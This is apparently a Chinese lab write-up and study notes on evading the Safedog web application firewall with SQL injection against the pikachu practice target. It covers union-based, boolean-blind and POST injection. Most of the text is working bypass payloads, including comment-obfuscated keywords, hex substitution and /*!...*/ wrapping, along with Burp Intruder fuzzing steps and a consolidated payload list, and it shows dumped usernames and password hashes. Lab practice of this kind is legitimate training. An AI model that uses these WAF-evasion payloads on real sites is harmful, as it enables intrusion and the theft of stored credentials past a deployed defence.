“ WAF(Web Application Firewall),网络应用防火墙,是通过一系列执行针对HTTP/HTTPS的安全策略来为web应用提供安全防护的产品。有别于传统的防火墙,WAF专门针对应用层web应用而设计,能够起到防止流量攻击、SQL注入、XSS攻击等
大部分的渗透测试培训都有一个章节就是绕过安全狗WAF,最近跟着暗月师傅的视频学习了一下SQL注入过狗,特在此对过程进行一个记录,希望能帮到同样在学习的朋友”
测试环境:
pikachu靶场+WindowsServer(IIS8.5/mysql/php,网站安全狗+服务器安全狗)
为了方便fuzz,关闭了cc防护,使用burpsuite抓包进行测试
01
—
字符型GET注入绕过
1.1 and判断注入绕过
使用vince’ and 1=1– 是会被安全狗拦截的
拆解payload,逐个字符串替换测试拦截
将and 替换成&& :vince’ && 1–
到这里可以猜想,waf拦截的可能是and 1/&& 1 这种搭配,换用其他数字如9
vince’ && 9–
一样被拦截,要想绕过对and 1 搭配的拦截,尝试将1换成其他内容,如Unicode编码
vince’ and %u0031–
ascii hex编码:vince’ and 0x3a– (随便选的hex值)
此时可以发现使用ascii hex编码不会被拦截
加上=:vince’ and 0x3a=–
加上= 又被拦截,试试换用!= :vince’ and 0x3a!=–
没有拦截但是报错了,在后面接上一个值:vince’ and 0x3a!=1–
成功回显,没有拦截,ascii hex值0x3a 对应的十进制数为58
尝试vince’ and 0x3a!=58–
返回不存在,说明存在注入,这里绕过了安全狗对于and 1=1 这种检测语句的拦截
也可以使用vince’ and 0x3a!=0x3a-
一样可以绕过拦截
既然编码后的ascii hex值可以绕过检测,也可以尝试对一个hex进行解码
vince’ and unhex(30)!=1– (unhex(30)=0)
vince’ and unhex(30)!=0–
综上可以猜测,安全狗对and <数字>= 这种固定搭配有拦截,绕过方法有:
-
将<数字> 位换成hex值,或者调用unhex() 函数用来代替一个正常的十进制数
-
使用!= 代替=
可用的payload:
vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+
vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+
1.2 order by绕过
正常使用vince’ order by 2–
可以发现是会被安全狗拦截的
vince’ order by–
可以看到只使用order by 也是会被拦截
将order 和by 拆开来逐个测试
vince’ order–
vince’ by–
可以看到单独使用order 或by 都不会被拦截,但是会有语法错误,可见waf是通过检测order by 的搭配来进行拦截,可以尝试使用注释来代替空格干扰对固定搭配的检测
vince’ order/**/by 1–
只有一个注释显然会被拦截,可以在注释里面加一些垃圾字符混淆一下,这里可以使用bp的intruder模块进行fuzz
vince’ order/*$-*/$*/by 1–
在/**/ 中间插入4-6位*/- 的随机组合
查看爆破的返回包可以看到有很多组合方式都可以绕过对order by 的检测
这里列举几个可用的payload:
-
vince’+order/*/****/by+1–+
-
vince’+order/*//***/by+1–+
-
vince’+order/*/*-/*/by+1–+
当order by 被过滤,无法猜解字段数,也可以使用into 变量名 进行代替
vince’ into @a,@b–
没有被拦截,返回正常,加一个字段:vince’ into @a,@b,@c–
根据报错可以判断这里查询的字段个数为2
综上,绕过安全狗对order by 的拦截有两种方法:
-
使用into 变量名 代替order by
-
在order 和by 中间加上注释符/**/ 并且在注释符中间插入垃圾数据进行混淆
可以用的payload:
vince'+into+@a,@b--+ :测试是否是2个字段
vince'+into @a,@b,@c--+ :测试是否是3个字段
vince'+order/*/--/*/by+1--+
vince'+order/*/*****/by+1--+
vince'+order/*/*-***/by+1--+
1.3 union select绕过
测试到了存在SQL注入漏洞,接下来就要使用联合查询来获取其中的数据,最常用的语句就是union select ,而union select 通常也是waf拦截的重点对象
vince’ union–
vince’ select–
可以看到单独使用union 或select 都不会被waf拦截
尝试在两者之前加入含垃圾字符的内联注释(一样可以用fuzz的方法)
可以看到有很多也是可以绕过waf的拦截
直接在后面加上数字再进行一波fuzz
依旧可以有很多payload绕过waf拦截
可以用的payload:
vince'+union/*//--/*/select+1,2--+
vince'+union/*//--**/select+1,2--+
vince'+union/*//---*/select+1,2--+
vince'+union/*//--//*/select+1,2--+
1.4 获取库名/用户名绕过
直接vince’ union/*//–//*/select user(),database()–
被拦截了,那就先只查database()
vince’ union/*//–//*/select 1,database()–
一样被拦截,这里肯定是对database() 做了检测,将database() 拆开,一个字符一个字符累加进行测试
可以看到在使用database( 时还未拦截,使用了database() 就拦截了,在括号中加入含垃圾字符的内联注释进行fuzz
还是有很多可以绕过waf,再将1 换成user() 进行同样的处理
得到注入点的权限是myp1,不是root,数据库名为myp1
可用的payload:
vince'+union/*//--//*/select user(/*////*/),database(/*/*-*/)--+
vince'+union/*//--//*/select user(/*/*-*/),database(/*/*-*/)--+
vince'+union/*//--//*/select user(/*/-//*/),database(/*/*-*/)--+
vince'+union/*//--//*/select user(/*//-/*/),database(/*/*-*/)--+
vince'+union/*//--//*/select user(/*/*-/*/),database(/*/*-*/)--+
1.5 获取表名绕过
在前面的payload基础上构造SQL语句
999' union/*//--//*/select 1,group_concat(table_name) from information_schema.tables where table_schema=database(/*/*-*/)--
问题就出在
select 1,group_concat(table_name) from information_schema.tables where table_schema=
中,一个字母一个字母的删除进行测试
发现在当from 后接上任意字符时就开始拦截
999' union/*//--//*/select 1,group_concat(table_name) from i--
所以尝试在from 后面加上含有垃圾数据的注释,fuzz一波
可以看到有很多不被拦截的语句,但是仔细观察报错的位置,我们插入的垃圾字符被识别了从而引起了报错,这样的也是不能直接用的,也就是要保证 i 前面不会报错
找到正常报错的payload,选取一个往后一个个字符增加进行测试
当测试到
999' union/*//--//*/select 1,group_concat(table_name) from/*/+///*/information_schema--
时出现拦截
考虑是检测到了information_schema ,在m 和a 之间插入含垃圾字符的注释fuzz一波
虽然很多没有被拦截,但是和前面同理,a 之前不能报错,要保证information_schema 作为一个整体被SQL语句执行
找到了a 前不报错的语句,但根据报错来看,应该是垃圾数据被作为空格将information_schem 和a 隔开了
这里说明插入/*/+///*/ 的方法在这里不适作用,还有一种注释的利用方法:/*!xxxxx<要执行的语句>*/ ,在/*! 后面接5位字符也许能正常执行,将information_schema 包裹在其中进行fuzz
也有很多不被拦截,但是在information_schema 前报了错
找到在information_schema 前不报错的,但根据报错信息来看貌似information_schema 未被执行而是被识别为空
这里可以在information_schema 前加一个%0a 来尝试混淆一下
找到一个即不会在information_schema 前面报错,又能正常执行information_schema 的payload:
999' union/*//--//*/select 1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/--
在这个基础上继续加字符进行尝试
999' union/*//--//*/select 1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables where table_schema='myp1'--
成功得到所有表名
可用的payload:
999'+union/*//--//*/select+1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'--+
1.6 获取列名绕过
直接在获取表名的payload基础上修改
999' union/*//--//*/select 1,group_concat(column_name) from/*/+///*//*!--+/*%0ainformation_schema*/.columns where table_schema='myp1' and table_name='users'--
还是被拦截了,问题应该是出在and table_name=’users’ 这段
也是一个字符一个字符删除测试
发现到table_name= 的时候不会拦截,table_name= 后面接上字符会被拦截
那就在table_name= 和‘users’ 之间插入含垃圾数据的注释进行fuzz
很多都可以绕过waf检测,查出列名
可用的payload:
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/+///*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*//-//*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/*-//*/'users'--+
1.7 获取数据绕过
999' union/*//--//*/select 1,group_concat(password) from/*////**/myp1.users--
直接可以成功查出其中密码,那么将1 换成查询用户名的语句一样可行
999' union/*//--//*/select group_concat(username),group_concat(password) from/*////**/myp1.users--
得到数据库中的用户名和密码
admin:e10adc3949ba59abbe56e057f20f883e
pikachu:670b14728ad9902aecba32e22fa4f6bd
test:e99a18c428cb38d5f260853678922e03
可用的payload:
999'+union/*//--//*/select+group_concat(username),group_concat(password)+from/*////**/myp1.users--+
02
—
布尔型GET盲注绕过
2.1 and判断注入绕过
可以继续使用上面的and判断绕过的payload
vince’ and 0x3a!=1–
vince’ and 0x3a!=0x3a–
2.2 order by绕过
也可以沿用前面的payload
vince’ order/*/****/by 2–
vince’ order/*/****/by 3–
2.3 获取库名/用户绕过
在盲注中我们可以不使用union select
选择使用payload:vince’ and substr(database(),1,1)=’a’–
被拦截,经过前面的测试,不难得到,在可能被过滤的组合中间加上类似/*//–//*/ 的字符大概率能绕过拦截,所以直接在payload中可能被拦截的地方加上/*//–//*/
vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--
没有被拦截,直接放到intruder模块批量测试,设置俩payload,选择cluster bomb模式
因为已知库名为myp1,就不浪费时间了,payload范围精简
批量测试
得到库名myp1
绕过方法:往可能拦截的地方加/*</*-随机搭配>*/ 即可
可用的payload:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--+
配合bp的intruder模块批量测试
2.4 获取表名绕过
在获取库名的payload的基础上,将查询库名的语句替换成前面字符型get注入中能够成功查到表名的payload中的相关语句
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'--
无拦截,一波批量测试
前面字符型get注入已经得到表httpinfo,member,message,users,xssblind,为了节省时间,payload范围尽量精简
为了方便对数据包进行排序,更直观的看到结果,设置一下追踪回显的关键词
通过批量测试得到所有表名
可用的payload:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'--+
2.5 获取列名绕过
依旧是在获取库名的payload的基础上,将查询库名的语句替换成前面字符型get注入中能够成功查到列名的payload中的相关语句
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select group_concat(column_name) from/*/+///*//*!--+/*%0ainformation_schema*/.columns where table_schema='myp1' and+table_name=/*/////*/'users'),1,1)/*//--//*/='a'--
无拦截,直接批量
前面查出列名id,username,password,level,省时间,精简payload范围
设置一个flag标志
得到users表中的所有列名
可用的payload:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'),1,1)/*//--//*/='a'--+
2.6 获取数据绕过
获取数据可以在前面获取列名和表名的payload
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(column_name) from/*////**/information_schema.columns where table_schema=database(/*/*-*/) and table_name/*/-/**/='users'),1,1)/*//--//*/='a'--
的基础上将
group_concat(column_name) from/*////**/information_schema.columns where table_schema=database(/*/*-*/) and table_name/*/-/**/='users'
换成前面能够使用的获取数据的payload中的
group_concat(usernaem) from/*////**/myp1.user
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username) from/*////**/myp1.users),1,1)/*//--//*/='a'--
抓包进行批量测试
得到用户名有admin,pikachu,test
得到密码的payload:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password) from/*////**/myp1.users),1,1)/*//--//*/='a'--
可用的payload:
用户名:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username)+from/*////**/myp1.users),1,1)/*//--//*/='a'--+
密码:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password)+from/*////**/myp1.users),1,1)/*//--//*/='a'--+
以上payload配合fuzz使用
03
—
数字型POST注入绕过
3.1 and判断注入绕过
1 and 1=1
1 and 1=2
均无拦截,正常的payload可用
3.2 order by绕过
1 order by 2
1 order by 3
均无拦截,正常payload可用,看来安全狗对于post方式的注入拦截并没有get强
3.3 union select绕过
1 union select 1,2
对union select 无拦截
3.4 获取库名/用户绕过
-1 union select 1,database()
开始拦截,说明检测了database()
-1 union select 1,database(
说明是将database() 加入了黑名单,加入get型绕过的干扰字符
-1 union select 1,database(/*//–//*/)
成功绕过
user() 也是一样的处理
-1 union select 1,user(/*//–//*/)
可用的payload:
-1+union+select+1,database(/*//--//*/):库名
-1+union+select+1,user(/*//--//*/):用户名
3.5 获取表名绕过
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='myp1'
使用正常的payload直接查出所有表名,无拦截
3.6 获取列名绕过
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='myp1' and table_name='users'
依旧不拦截
3.7 获取数据绕过
-1 union select 1,group_concat(username) from myp1.users
不拦截
-1 union select 1,group_concat(password) from myp1.users
得到用户名和密码
04
—
总结
4.1 绕过方法
不知道是不是我安全狗设置的原因,POST方法可以说几乎无拦截,而GET方法相对拦截得就猛得多
and判断注入主要方法是:
-
将<数字> 位换成hex值,或者调用unhex() 函数用来代替一个正常的十进制数
-
使用!= 代替=
order by的绕过主要方法是:
-
使用into 变量名 代替order by
-
在order 和by 中间加上注释符/**/ 并且在注释符中间插入垃圾数据进行混淆
获取库名、表名、列名等敏感信息绕过主要方法是:
-
在被拦截的固定单词搭配之间,如union select 之间用带有垃圾数据的/**/ 注释进行fuzz来干扰waf对两者之间的空格的判断,从而让waf无法断定它们是搭配到一起的
-
像user() ,database() 这样的关键的函数被拦截,主要是在字母与符号搭配或者() 闭合的时候拦截,也可以尝试在中间用带有垃圾数据的/**/ 注释进行干扰
-
对于information_schema 这种连着的单词搭配来说,使用带有垃圾数据的/**/ 注释会导致语法错误,因为加入的东西会被识别成空格,一般用/*!xxxxx%0a*/ 包裹整个单词进行fuzz测试
4.2 payload总结
字符型GET注入
and判断注入:
vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+
vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+
order by判断字段数:
vince'+into+@a,@b--+ :测试是否是2个字段
vince'+into @a,@b,@c--+ :测试是否是3个字段
vince'+order/*/--/*/by+1--+
vince'+order/*/*****/by+1--+
vince'+order/*/*-***/by+1--+
获取库名/用户:
vince'+union/*//--//*/select+user(/*////*/),database(/*/*-*/)--+
vince'+union/*//--//*/select+user(/*/*-*/),database(/*/*-*/)--+
vince'+union/*//--//*/select+user(/*/-//*/),database(/*/*-*/)--+
vince'+union/*//--//*/select+user(/*//-/*/),database(/*/*-*/)--+
vince'+union/*//--//*/select+user(/*/*-/*/),database(/*/*-*/)--+
获取表名:
999'+union/*//--//*/select+1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'--+
获取列名:
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/+///*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*//-//*/'users'--+
999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/*-//*/'users'--+
获取数据:
999'+union/*//--//*/select+group_concat(username),group_concat(password)+from/*////**/myp1.users--+
布尔型GET注入
and判断注入:
vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+
vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+
order by判断字段数:
vince'+into+@a,@b--+ :测试是否是2个字段
vince'+into @a,@b,@c--+ :测试是否是3个字段
vince'+order/*/--/*/by+1--+● vince'+order/*/*****/by+1--+
vince'+order/*/*-***/by+1--+
获取库名/用户:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--+配合bp的intruder模块或脚本批量测试
获取表名:
vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'--+
获取数据:
用户名:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username) from/*////**/myp1.users),1,1)/*//--//*/='a'--+
密码:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password) from/*////**/myp1.users),1,1)/*//--//*/='a'--+
以上payload配合bp或脚本批量测试使用
数字型POST注入
复用get注入payload一般都可以绕过拦截
个人思路仅供参考学习,大佬勿喷,觉得有用的,喜欢的还请多多点赞收藏转发
❤️持续更新学习笔记❤️
❤️您的关注就是对我最大的支持❤️
原文始发于微信公众号(XiAnG学安全):SQL注入之绕过安全狗WAF思路学习